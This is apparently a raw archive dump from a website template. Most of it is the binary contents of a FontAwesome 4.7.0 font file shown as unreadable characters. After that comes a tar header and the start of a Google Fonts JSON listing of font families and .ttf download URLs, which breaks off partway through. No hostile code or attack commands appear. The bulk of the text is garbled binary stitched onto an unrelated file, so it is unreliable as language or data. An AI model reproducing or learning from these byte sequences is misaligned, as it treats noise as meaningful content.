8mDڱ8
8m898݁xyf΢{cEH
$DEQc}{[hfKK8݁89811
Dr'm$HD
m>
K4T+TDqT1aa1qӌ$ӊ4FlGuj/>cvYXwrlO[MOO[Olr}twXPYv@c>kPS/k_`bjpN1kI|
 FkuU)4S'-{:d@G
&zzEwvlmulchr]t
bFs^[XV[
vN;mЋD1 g%/O,kjF?j}yykD
D'wsxx
tD
D7U
1
t_>hjthhjbgSgT.

T譁bjh>n_KD;D
h/4+|
Z suS&yprxoh
nrR/Eoqwn썍c@
";;dxpXBB}tq۽w

Tdmlsur|jto
tt
ttDtE
[
S)\<D
4x
/
m

8{uNvQ*33Q~Fu{uv+NR-XvD
^
vXRX/
m


*6xllsvr}jXm
9
)[=)R~[~w~5-!i5
D
"~v_V=)[D
Xwauqu f!D! }qquur|jto
tt
ttD
ttDtì|r6Z<:S
vg$gJAv<ֽYi<AJZ)

P
0ulc

*5xlmxyv{?ZS!
4t9Mkjt9Mkxxw
J11Z`wwxn=OvTJ11E`nm=Ov[
m V
)
gN/#-teZ\i\h^
ֽ?#f,WSCZ7)
6Z<:
vg$gK@v<ST<@KZii#
@@==)\< !  ijD
4x
/


w
4D49/^]^]94o
4j|ѡlsmdtK/

mv~^^MMtMtj|ruslmdtt
tMM^~2/

p
T
D
D
T/
[
]]E
Om|*
\ee\\es
Ve\97M|?S#`<`Rw<EDz8D^7E&SMX]Z-`LML<z=a3lx-vxmqY*mSZ]eauжXp~v{}|[^s\IFFS#Jwaâ7z_%>}=af44	)x5Mk4444+
 

T
T
T

 { { {tT
aT
TF7

Tr
J
tTsR@6{@),\,)@əEQZT
aIIs~xxx{?+)])+@8s~v
T@P
Tx
{
T
Ti

P

TTTTT//TTT lvT
T
T!5

s^vt
4~44
}}{ptrmg}e}Mpvwyۏ
  P
Xtj\b 'djгg[L״(¯#wmݿbtG(   r|kj>Sl   st  =Sls_tiqnvŅ3I`QnN^DyagTQ3I`nȜn;((5;!!6ry  qhn}.d9=k%)}|||{zvvuyyvvx}̖ҹ֐acrppxswzn}{wvv   Ӎ⟳͂pTlZxeyR{ 0  o|WbeVHquO    z|n*)j4_SnNe]_\]gwkrmn   nny{ŉZlvTdp@J   I4X   ^xԉ  @ jwvw @  ~ny    yorpmue{`nY  npr@^rss~~xvvyv}y  @ uwz D 8 {{|z|{}{x}~yz~~}	; $  ˉˬ7y88Siˎ ;	 D 8 h Lp` d|jK='t<<vug|c  ` |[h f @  _&u1||~   yo9utwKrjR|Y%    ڬӢ
2H[Q|+<cgvEU||zzЕ֦dBr;9WdIrPmu͆~//0//0//xyw`~"b|ьҋъ[[~![s'ҍҋӌl3zQR#krw:vtvv   LFTŐ{όxsx<ծ
|DBF+D~I#6B7}IH_I   D&\Ӂ@r   {)5
?}   z
 T   &#?aOC:)x{}.`A<~$!	z~|}}XXX}sruj~^at\C&ODIH}ߤ@J6	 rB00AA00BA00BA00BNpi4rtT_		__		__		__		_0
$kt
t
$Kh\buD

<<<
<+t+
'''+
-



i
T i
R
,T[@R

4]
T3C@Z
4
 K*K*K*T*

m{zs{tq p
SXk{E֫}]p
FV*
KHW-CCHKh @)4
) @hKH-WHKh )
4) h
 -
@P  @ h ! ( @@ P
!  @@  !   @ @!  miPt 
mP


ma aR@	   @ P( "  Z D 

 $@@ D 
% D  B  " 
 @ @   $ "  @ D  @$ 

 (
>
 jmP
P
Z-mm

me
f44-4LLmxzzMMzzV``V43
-ժLL\UI (fc}sm- -yisnK8A*,gtx^L p&{'%%{pVJ9$5EE$ݑͥ}r:CW*[_?P`X=}[A bo/
kk(22I2(UJU2kd

+Ԁ

GX
]
gZ
X
]
g44

G4
t
TTTipE77EV@p1
U_xo
H
 6
 f
I{
_gg_n
7b  n
7b$
Xrzspps^?``^
$
_`b Z[z[;Z$
&jWWj&[@"UzUU$
XrzsppskG+P
Tv@T
K
xILLIILLIx^ 
mK+ tttt΄PHt
ZVt
˻WLqqr Hrqqr-
hnnu~t
t˻WL@mA
˻WL.t
JMs^\tlji!)tIK^0tH!wwxt^B<``uft`WU4
x
tttt*
ɽYM$
ɽYM
ɽYMwwx?)^cj]Dces
ҳxk.a
ɽYM$
18X:b}}}FhXa"!
D ( 	  }}}b81mo9ttʓ
0

%nllb
!+fzx!p|/7chhk+^[THP}.}{{MYɷ7o_qccy4{H]ȣǦɽYM|%npzdcZ}!DR߼
\Zjћ|0!߼XEdkdNYTMNX
0PcXR}6~YVWt


S
kIJX%Ba8k#E
b>[=:-

Yvk2
OT\0OUƀԫafob~hSwk9&&FD[ _Jͽ "QQO;2x)+? q$@8 q+*;u~-%xxxquutgfh%'E̹VL*v˺VM`wzTE`ubiqzuppJ_e'%|ŕ}rɾɿdZ,ɻ˾gY%8>4
x
[;kttTtTl*
MCΫ
MC1
˻WLN͜f´[VmJJ{K/oqwnbces՜
ѵvj+^
d^]  
blՔm)xyx^HCii}l\NJp"#kk՜͜k眫
tt:
oVttc7/{{{b
zf+!b
lln%
0
ǓEt^+jffllɽYM{{}.}PHT/7qͻ]H{4cycq_MYɛǦsjZ\

!}Zcdznp% 0DRɹXNMTYNdkdEXÿ!0WV~Y6R}XcP^vHZt|z(
	z]}z!~q{yzp~"{}~{=UP?Q={~G
4IHtZ]41YW36ЧubQEd]"(
T$7/V,'t
044
'%YT8l
9|2'8

(%XU7l
9|3'940
k@tt++UUttttC<<4444
TTUUttttC++<<44
aJZZZZ44cTSc++TS33ZZ
0gQvOy#DORKPKaXWaaXWaaWWabWWa 45! 54! 54!-..-......-..- .. Xcc@ cccccc0ɂь8`a @aNdC9sbccc@ccbc X9XE-JF,bH5@Y&nË49HbF8s̷pzSzN{R{<	`_`_`_`_9''''pqD-A&aa-D`qX_1`AMtCC%&*)GGbbIc~c͋%)Gc͋cBս_m
3PD33DD33DjKgl:VF_-zMWSRn\nnnn\nZECSSnn\nnӾN+F:g˝VC&&ӋlgZG%%GG%%GG%%GG%%GP8 XP
*
6DD6srpsG4Tmmv)t~̩vVJk}ltu(vumm4[	 `$O?$d``zw~y8Mva\tiN߶܎`4s~nkA["gwdLaG$lΥэ`v~{ҊꅮK-5%L.U <BB<GiЏ|r`0+= E=w	yKw"woIlkhsljisQxK)]`J'R~×bB!-(pW}^^_I|Dc/ %)p}[De\]]ϚF|E/+'ǙeTGf{HB- *\mNNNNNNNN
0


@j<Z\
fzd?*1"0-)/!U=ITAIzWdd],O+2=q4{E)<A1t1j1(w;;;;;;;;	upR@@gL)wteC#B3B3CVj>|肙i54_:vx H|Q̋yPBCĻ*O8Qz }y2!v
w
2!dx%%uouyf"2E"ciP8+H>VV>8PicE0}D8F?:/5mV?_@)*_AUm֡F8~4pw:{hIK6AOR|||7 ::-R=6jsnVK
{Qr2w..4$<1Unk;HKTC$[EEq;rI/(6F+ G-7+`=(c2F]U=PO>Ulx
x
{
T@q]
Tgt1
it
c*
KWWKKW#1bnZyOL/õB+
h'X=-k7yS[rWmK|CO]ew,i@RF˿WK Jvf | )}xyk~JJ?X7gf3.x,+.46?JGXjkځǇvl~doJLN*4A@Pbaul~xyJJJww}IIJÐN~LkR{mmaUULEC><;;{mDRs*MSPwms}wy<u|ƌY10Y1122X48C1£ǳʧr]^NJ qZoe~|Z~W43XV32X+1fIHJLh67:gfs˂uncor~EMUUaml|ؚѩʵɩӛlG@/' "vg9~{~iyenaMxx,wMw^Fyl}l
66xtm|cw&LL+dtjiJ4qqߠ˚|O)xOpYpZ,,pWwT,JyIE7wt4vQ^6_4
TT4
P
q
q
bty
%
%

@tTtL
tto
tt
ttD4
TT

4 
t#4

+PPPP]w~PPPP#
QPQPPQPQk#4

]w~PPpp#
iP#
T

/0


x
`tT_`b##b`_
yyQ

t33
V22VL
'
!!yrr11K-
/H
!!e+TTTrryy!!!!V@;vyuw{{{s{sqvwtzz
zm
m{`mm



F>
v
m
m
m
%%WBS	qg@\LP{|@)҅%V`
BBB
%%
@w\h<;v-;ݯ].Sg9G  FXVi_d:ftl\mM>U:\!-<F<C;D)Ե4C554C3.N$rjm2	O
Wqqqt*Qt4+j@8ߪrr  Rr@LiO;{eSw)}5TԒ?>B	o-Bvˌ{bє~8w0R8#0F2SXtegJ]lA9HH8QXi[syxy\HN-fXR22<GjmkkKLЬ̬[H98HH89H,,KUUK,|}Nv}|u||a8HH98HH9v[y-rn
 f=qF)?`9{dP3o&?($W2
3CZ
 `@]
t	 tT0!,JJJJv'k$&8CPB4n!48V%%%%k,HT4Tw/+,{{a{L{{
==



k
F
o~|܏f
yh|lidbooprmmrrmvw~ovF
I
v	 oT~ƣ @V5!7EV@p -F1M \ZG#n'x!ϼ 1-+T
S(
++EZ [spkT~O@GA  BHEB  Bc
0-/-----mJ#66"!!!!p[mmVJE46H``Z[|]~c`}pG;-7-m{<8Yn,=auKKvQ.-QjKs[hshs\hF:87s;\Fsh[t3]-3s\hsht[h"eE!sh\s-3~+***}Mz]c.p%$fM55277<&UA++Kq5PPm;XY;v2
,cTT:
,[R
T:
,[R
 
xttt

e
:
,[R
T 
tttԙt~S(
$t
Fh͉yy}~pjPPjprk5jThc
ctt 
R*N^Ȗ*
RDejok4ph4hplh/X
4X
9joqjhp4lh\ƙ;2
;ǾbP0&M	q$;1
;$9	q&MtsT

|~}StK|}St=u=ttt*w)))((.ddZNNZZNNZ
Q+A@AA@![  		  [P
P
B 

a
+ 14wx{~}g
4t4a 
Mr&Ȃoly
_lZb
&Z_lZb>Tt4t9lF9y4d;1?;UҒ/tt<%%<"SKj<5eZ>:$$$=:Z>ejSm$54444q(f?f?(q***M**wI9(9II9(9I*'
wdA467MR*M8=IF[-2	~0XPdow4
4b^hvii!r(u)- vjzfj~qsoqzazqHoCwqs|qjz )(!ivi#o#vi%GT;;;;;;P
0VviWPVgumlwa||q{cYili`dH__·I5)4y)Y>BݮU11V1h8SM$wh#hAQWƇ¹ÐvZ];();;)(<&U11UԡϱB.`	eSGtCm$t]$ttR4'4$BL8,L9}x 9`Q^fxOoDk3dGԴ"TUa

vsXQF55EE65E<xiUNgs{f<ϖҖ~hr84W{mXx|cqJ_s '*0󍂎iZӵԵYn5U+"C~?ihyvxnnn6>#A0W9|xuzlMx|lT(x||x x|T*0(=`hZ6,
L86-
I86,
_
-i1Yn|||jjk8dJ!E+z$99$+!8YisV>crbxy~vz\\\}v{~^ws8~64468w^~ybrc>s3%p[rrcrrkii~kssqrbrIIV*B+$$c+CB~II%%Uaa;U%%5??H5~)ԫ


Tt
t
`
5!J
Jn
J
wNk+mTTT11W
E

VNMDH>>35b
d-
E.
:V22VV22Vd'cU/ocuovocv?%	q|~fFF
0.*ocvnvocv&0q|KTi
KTTdhjw{i^u_oYlnus
o^iwhY_u{jhwuji>qw[GA?ijkŒ[V(1g=VijNbi6%Qtb(enzfl4u~dp"v[~}dtVldvtşW4tt}}}"CVt[Rt}~[tvR[Cljh\^a\Qwt\s[Rsjz\oUwQVf[VT[gdk\c`^ebiObt6Qb(Te|TT&&'dq:=2G<LCYRhn@K5
$c{{q{<<{{qz{cc00E3'ҥ}}{PRHLbyz{*Tb#E.ᕖz<_d_:@sgD_^_*dJA	Bɴ׵to'W4pwοvW XMuY1A3g,{ հ	yL Z=xsav^|ZZ[k.k/k.hemf$ 6k+ː]V$Iqo~QN ڈ7.;ghhVND<{B3^w/ۍֵ5b	LQ*GJW}ϗѝڏy kTUnn~ryj_MlNy|bmmT]bj[X]~-u[_k[TZKNW]dWT]TkYacYUaö1r&>kfbr(ywvE^nw"'hRcl`jObenfQaWT`]Tti\~{&XU3tOZq]s~Q[8qQ]sZq{N\[kP`m]lM_|r(nhd&>lecovDd$H6}z~t1YbSu\q Py,:|`B/O~TaKJ~Lyy1Vwy:pI>/2ndgaWrsw		=!Y	2R?2"?=. O?U<<quuqquuddVTqu"w+B~oftaz_VSRt9Kxx:Ktp;VwxQMMt#"Y()#`QxgihiVKlfT'Fb(-]ݸuWh@JM;uT|NwbdghsK[bei({q}P#4%Saj_≖`/7bb/6aa.;c}}pmmlji0+.10.{\YYFC?>AD$(-}}}[ׯMgYST**lSmMrWJB`enū)c1&E,u|ѰڡXMN9*
T(T33T&V
]!zltahqrp!s,o"prrgl!|N#l[heeezpK^7Lw} 
 cb*
[)F3RtZ>UKLLdllh]rd.^7|}}\".% _qqoy~yGAokzAïwPW~|ԪAyoqq 0[]yZigmpgːt@6)HW\!zktaiqqq s,o!qrqhk!{
N#k[iedezpK^7Kx}p 
	 	 
#` RN{M{ xiwi9#GsE}Tl+{X|V}2h8pihE[&Yr!hgRoq-εߝA UǾԾ*}t~xqi#E3lgc2Fj`\Y=urrqrqs$>tY~\w`rk2FclgglbE3jr`w\~Yu<rqqqrr%t<Y\_jF2bfm1F$kqw~v}$}x$k1FE2j$t}%%%%%LX0X/X/TTTT &O,-OO,-Ojjk1''-4nOxqigggh~ie$DNyWvw#1rHe%:qzt{s[s,w!w""0tdcubhgc8cliccmid@dmho
id0 B clio
id Bdlhcclid@Y3W,zhehjwmyxjhhj
gk
ditiy74kg
}RQPtd,c *pqq`NAp@`JQzH~GF+/2rYN'K_IFF_ʷзIL	P&0hFyzy\\[ V _JP mzBpgfsvy|s#Lc|gVXTVtbewvvNA($h^~mo_~|z}y~x|nf{DBYL\'>mZR{QsstN]wiggXnϤOTͮmwmw mwŷ	v|iI#&bSS!mvvu 

D4P
3i-kbUST345IIIyq߬)))19j4:P*C3+K}T
-Mujmatvhj_|[t>4a@kk[|^4<Nhc_/22ģ֖kEb=0/Y -"$3QtlZ[Yfbe7]XUnPI"Rgɰe;o[1HwT
Tg
<R;JLwgVVLJ	B; 95
4w2
N:9՛ͻůF4O
cbc{"犖M88']L"/f
UA=0;}Q <0^'0 ř}W}w};O<04

bw}GU)@'eY(.E"E(Y"+G}v|fW}x?r?Q<ŕzE٘+0@
4|c"-dc|.44|q\NEE*#"#*;QE"	9aRqs|ig4vߟ	ތ[lifk8I`Z\uρ6ٿ<0JAeci>z8qFl;7MtH$v"?-=xGnS-ub7ÈA
wc-Ef7-^DNfrx~58~O	 K(JD;;JEYFkT«FYEA#	##	#$	##	$R+7TS+V
T}y 
`
$	##	$#	##	#[pdIH[<<HINm}!75'mwS@T|zJ
+J
+r
@

G
x
)4RMDDR/@2o[ͻ2@/1$%&%%1:
ԩ
R
Kw{{ww{{wS::
,u
R
KX
@l
A+?
+c
Vw
)/e@2oZI[BBIZ2e@/4M1%%%&1Q 
{ww{{wSw{'
1

M+L
+

G@X
@l

4
YXyyXO:>+N  >t:OO

%%%&$'b
%%$'#(
Gg4(K
K4(Gg.S1>P;;>S1.
F

ڨzz'.<!bV[b-;PP-;b[V!E$@hh
? 	+YZ<	[	ZY+	
d
0dA1]ZInBBIZ1dA05K.$$%&T
`X
+S
@gT
T
B[PP>P[,cs£,P
t
K:
y}j
Ky}}yTy}
K
K[R
+X
@l

9tk,ccTsNNTck,BP>ƻPn4RT1
T7}y1
T
8
K
'
T1
T
@
{X
@l

o0 v@0<;u^'\	=*S<,cXP*"c`[h3\5jj5<UgF19PREij+#hd$єZۯӄhw*K	(Y&ZvV^e1.j4E9""оqrQ)`j#KE[|z0Y`7~?g
drlf.kg*{WrrZ^mwvl[s njbgnzhylqfSB[<	.ShtviKkTpxvnmn`j|kfZ_FnʬҞgn|rRMHh,Irqprg^sAM/)8[PD0nf	ivqXѵ+DD
yZnbt9 #tx
3us{q[Ƣ᳚s~N\
0H"
H"
H"
H"
1

VKTT6  64"
E#E
EP/"@Z<[@E
EE#[<:Z
T TT@TTx T)
9
__&X.$
 Kp_A;__9~2M@nh
M*
TKMT
@nh
M(@nh
M P
M@ 
@
i
@ T T&DNuye  }
 
Vҽ  T} 
 l j l l R 
 ~ufH7Nuuaa uuTAMr\JC +1
7}yy}}yy}K}yy}}y +
,
@j
vjIIJ# %BzϜԝ̒<LRosxzce%k$ld!|{{tuv\|
k~}lr>++6YF$&E{YIv['?Eljo~(9
0tX
@]
T


+X
T]
S
TgTZ
c
k~~w~}}}}~~w~&&~}}}}~&&~}}}}~&&~w~~}}}}~w~~k=====&&
====
&&====&&====&&}
""4
0_}2/bw_1*S@H2spoȫg  zz9A{ezp{{hh{zqz@ez@zz'L`FF=1<1#WX
 ]vvL;3lK@+@LV	+<qU]%FO^ePVn`r'sysfX\Rq8dsضsF%KٮJ}3хbslt[`Tvuai4.:e?2%ٰۂ~%~GbRSlg}^`st`an좾]4jމQ@ .&% &%&%&%	YJ	I8/-pR%szw8&%Bpq2zr%!!2.l?A R჋Ίt,ә$j"u/}s-|ZH8		
H.w_puj}$xll`?^ l2BAAq3l۴l8okmYQSBjtvml	.ڎ\KHqX
@l

)uAp6wYl4~yUѯW?QYm}ptjhFEPx3|(/ŏ45&ϻąfamJ?jԋ<#>n,iIΙJ\DHհ4.4g"]vzuyia=sA|M5#Mo`Ba,l#:PhCt"]уHą3B̖ڒ/qu=hUUv@i/::hUyrw>ggjk>pDLUxzxzxzxz[a7MzR?ݙob4~{z+4+4+4+4+
T@ 
 
 
( 
 

 
 

 `
@{3

@<
A
P
 

P
  P 
x
7ޜr8{M11Mז@;NyydmyN!4p<%0d*TKjjT*6Ld0%pb;4NmdylymczN ;j|@118rz;jN mzcmmNT4o;b0dSL6jcjKSd0<oT4N!ymN
]]zϞҞԝxxy5___Yt	~rl3/r5l3/  HrvZjG
?C-T%%\:RR:R_DDDDDDDD?)|8oCA
/-$",B5|6-GcKdԛӘ
py||u~w'~rb<!ێjwws{z}qr^r}d0Gة蘵и۩޴r~v~wvyy7-8<ÖCKlwxxwxw|lt{u{ltt{hh[sgshZsr|
9qYfqgqXf|fr! |bR$I=X,3|Mq&h8 ?4yeRRYNiꏏ]ȵ9ЉОȶ%[/+(yfqypxfppy|3uuu}uut}Hqqqzqpqz,N\u\gugu[fgv~$xxwwwx~Swbnvmvbmmwp@
      #'+/2<@EJOcgkozBFJNRY^ly.9&.9=AFMQZbfmsw{9BJNRY^u-z<MU[agos"29@EN^px~			 	V	Z	_							

	



/
>
F
o








&,@es{ -:KUcglu|/OVZ`jou{
&Dbs~-18>EKOTm ).7<DQYns%:@Ui{"',1CUZl~$(-2BHP`gku{$,2APWZ_drw}+8EOU[binty~	$).38CNY_doz
<<C
KFKkr
=oYB;
E#E
EP/" @Z<[ E
EE#[<:Z@
T TT TTxTBt)

P
t*
i@EXXE+y}}yK
.
+EXXEP

+
.
' 
33y]hnnh}y]]]]s4
.\2A
y}B
,
FTkBBa
U)
y}}yKy}}yTN%
=hnnhhnqF
A[
]]E
}t	 "" 	M
-
\


1<0
0
+

ff
}yf_"-
. hnnhCp
}yT(
-V`C3}yTy}}yT
c
|zS
+o
+
D+\T2TA
 ʆiimdod$@~ Kz&w{yyw}| |}xz{wa&zK$|'[[!! oZ S1
0
[R
YWffG
ffU
]
@gw
 TH
U

3CC3X
K]
+>
TY
[RDh1
TTTG_^X*D4
4D*Y_`tW
!
'''e


TT

TT
i
hh


O
g
B
4TT=TT
y}7!x!hD:
,
JJ4
F/B
NPuc]T<Od
}}|1B&2B
:5
/%%
YY
(
ff9>!

>9UG
@V``V}~d3fTw@t(suwN5~w}+}PV
{zg
:
T
TR
]Ky}Hg
TB
4$$G
U$$
V``VV`
`V!_Ib	\;COLD|yz|ru{A0%{[k@hhnz|r4~~4`_`R`e9C/R&aҦ4A'")~4Uff
,u
!55!=
=
T-
/T

{zGCC8=<<8CGC VVz|YY.:t:}
&&TO
 'LfeNzyz# u"=1?u՗ff
YY
Yff
&/]]1a}.
MMY;/a3:t@y
t
gZ
!5
\|\?Z Eԅc*y^H(ym|[n
U
t3
ZZrEQQEEQc
'>
0
4Z
V``V
~
zz3')
{z4
+<<<<{.==
C
9"TM5Ř{~~D;i
ffW4x
!x!QE
8
8
8
x

i
		tkRE;V``V<
A
5
/
RT&


+
,
3
 O>
zr^``^?*<씒<Jڔ>@(

St
}


X
@]
-


}yyrrrryy
(
yy~w~~[

tt|z@(
Tz|}D}}RD,l"7o''${1D


!K
z{8T(A(A(Am t  Kxxtw~̍t|~}:@w{tsoyx~R1
7OIIgX!!gXg!fz\J$9:lA~w]]w~z

mm))mm){G
YU3-
ta
hN0Km
+
)vP
\
t44


<
A
	,,		,				,	T

b
<
TA
F
}t.+ݭ{`T33V@
tkrcrr@
>
xyots{SK(

tp
yy:
7D$$Dnh&T*
5@$$@!quuqqu;;uqf
K<
p
 QEt'rrcr2
TSTdJ,]շ49arwwvyr/(DB%$AΌ%
`uttu~wcclqt=hF B44

V
sVEz*6z*E!!$DD$
7T-
R

5
yyC
.
@h<<<<o7TT_Ldhaahi`ah
/ti
VH
ԫԫ

]Tt.;;<:Z:3}|AP
3CɽNba]
0$7o"7l


@
<<y}|zi
z{RD3$$DRip w

EQy

1
0

fM@
jmq,4[
@XtxmihbW_)RK(
t:z{z}R%7tC
(
t
zx
x

!5x
&%y}_gg_

*10˒h
`Vm[
ˋˋˋˋˋ7ߋ7
K[Lz   -
-Ty!5z+&m/%t~-\$"WT*nhtttv##                         
      	      h   3   3  s                              pyrs @                                  "          "                                                                                                                                                                         
	                                                                                   x @  8       !"""`>N^fin~'(.>N^n~>N^n~          !"""` !@P`gjp  ()0@P`p !@P`p   \QA0ޕR
	       v                           ^                                                                                                 %|_<      O<0    1h	                 	 	                p   v    _                         ]                              y n                       2                           @                                                                                              z                    Z                                @    5 5                                           Z  Z          @                                                                    ,  _                 @                                                       f                                @         	            @                        (                                      @            @      @        -   M M -  M M                  @                                 @  @  -                 b                                                           5                                           -            8                                   @                  D           @                   ,              *     @                                                 	     m                        )                 @    @   	                                	                                   '                      D     9                 >                              d  U     *       #	   	   	   	   	   	                                             	                                                           	                                                                                        R	      	   	   	   	   	            	         	   	      	                                                 @   	     e     	                                               %                 R           E	            	      	     $                     k  (                  D    '	          	          %                  	                %	                                         	                                                        0  $    .       $                                 P              /          /        :        /        K        /       Q ]              	 
                   	   ^   	  U  	  k  	  "y  	  U  	  $  	  U  	    	  a  	 	 y  	  *  	  <Copyright Dave Gandy 2016. All rights reserved.FontAwesomeFONTLAB:OTFEXPORTVersion 4.7.0 2016Please refer to the Copyright section for the font trademark attribution notices.Fort AwesomeDave Gandyhttp://fontawesome.iohttp://fontawesome.io/license/ C o p y r i g h t   D a v e   G a n d y   2 0 1 6 .   A l l   r i g h t s   r e s e r v e d . F o n t A w e s o m e R e g u l a r F O N T L A B : O T F E X P O R T V e r s i o n   4 . 7 . 0   2 0 1 6 P l e a s e   r e f e r   t o   t h e   C o p y r i g h t   s e c t i o n   f o r   t h e   f o n t   t r a d e m a r k   a t t r i b u t i o n   n o t i c e s . F o r t   A w e s o m e D a v e   G a n d y h t t p : / / f o n t a w e s o m e . i o h t t p : / / f o n t a w e s o m e . i o / l i c e n s e /                                                                                                                                                                                                                                                                                                                                                                                                          system/helix3/assets/webfonts/webfonts.json                                                         0000705                 00001104466 15242051520 0015145 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       {
 "kind": "webfonts#webfontList",
 "items": [
  {
   "kind": "webfonts#webfont",
   "family": "ABeeZee",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/abeezee/v4/mE5BOuZKGln_Ex0uYKpIaw.ttf",
    "italic": "http://fonts.gstatic.com/s/abeezee/v4/kpplLynmYgP0YtlJA3atRw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Abel",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/abel/v6/RpUKfqNxoyNe_ka23bzQ2A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Abril Fatface",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/abrilfatface/v8/X1g_KwGeBV3ajZIXQ9VnDojjx0o0jr6fNXxPgYh_a8Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Aclonica",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/aclonica/v6/M6pHZMPwK3DiBSlo3jwAKQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Acme",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/acme/v5/-J6XNtAHPZBEbsifCdBt-g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Actor",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/actor/v6/ugMf40CrRK6Jf6Yz_xNSmQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Adamina",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/adamina/v7/RUQfOodOMiVVYqFZcSlT9w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Advent Pro",
   "category": "sans-serif",
   "variants": [
    "100",
    "200",
    "300",
    "regular",
    "500",
    "600",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "greek"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "100": "http://fonts.gstatic.com/s/adventpro/v4/87-JOpSUecTG50PBYK4ysi3USBnSvpkopQaUR-2r7iU.ttf",
    "200": "http://fonts.gstatic.com/s/adventpro/v4/URTSSjIp0Wr-GrjxFdFWnGeudeTO44zf-ht3k-KNzwg.ttf",
    "300": "http://fonts.gstatic.com/s/adventpro/v4/sJaBfJYSFgoB80OL1_66m0eOrDcLawS7-ssYqLr2Xp4.ttf",
    "regular": "http://fonts.gstatic.com/s/adventpro/v4/1NxMBeKVcNNH2H46AUR3wfesZW2xOQ-xsNqO47m55DA.ttf",
    "500": "http://fonts.gstatic.com/s/adventpro/v4/7kBth2-rT8tP40RmMMXMLJp-63r6doWhTEbsfBIRJ7A.ttf",
    "600": "http://fonts.gstatic.com/s/adventpro/v4/3Jo-2maCzv2QLzQBzaKHV_pTEJqju4Hz1txDWij77d4.ttf",
    "700": "http://fonts.gstatic.com/s/adventpro/v4/M4I6QiICt-ey_wZTpR2gKwJKKGfqHaYFsRG-T3ceEVo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Aguafina Script",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/aguafinascript/v5/65g7cgMtMGnNlNyq_Z6CvMxLhO8OSNnfAp53LK1_iRs.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Akronim",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/akronim/v5/qA0L2CSArk3tuOWE1AR1DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Aladin",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/aladin/v5/PyuJ5cVHkduO0j5fAMKvAA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Aldrich",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/aldrich/v6/kMMW1S56gFx7RP_mW1g-Eg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Alef",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/alef/v4/ENvZ_P0HBDQxNZYCQO0lUA.ttf",
    "700": "http://fonts.gstatic.com/s/alef/v4/VDgZJhEwudtOzOFQpZ8MEA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Alegreya",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/alegreya/v7/62J3atXd6bvMU4qO_ca-eA.ttf",
    "italic": "http://fonts.gstatic.com/s/alegreya/v7/cbshnQGxwmlHBjUil7DaIfesZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/alegreya/v7/5oZtdI5-wQwgAFrd9erCsaCWcynf_cDxXwCLxiixG1c.ttf",
    "700italic": "http://fonts.gstatic.com/s/alegreya/v7/IWi8e5bpnqhMRsZKTcTUWgJKKGfqHaYFsRG-T3ceEVo.ttf",
    "900": "http://fonts.gstatic.com/s/alegreya/v7/oQeMxX-vxGImzDgX6nxA7KCWcynf_cDxXwCLxiixG1c.ttf",
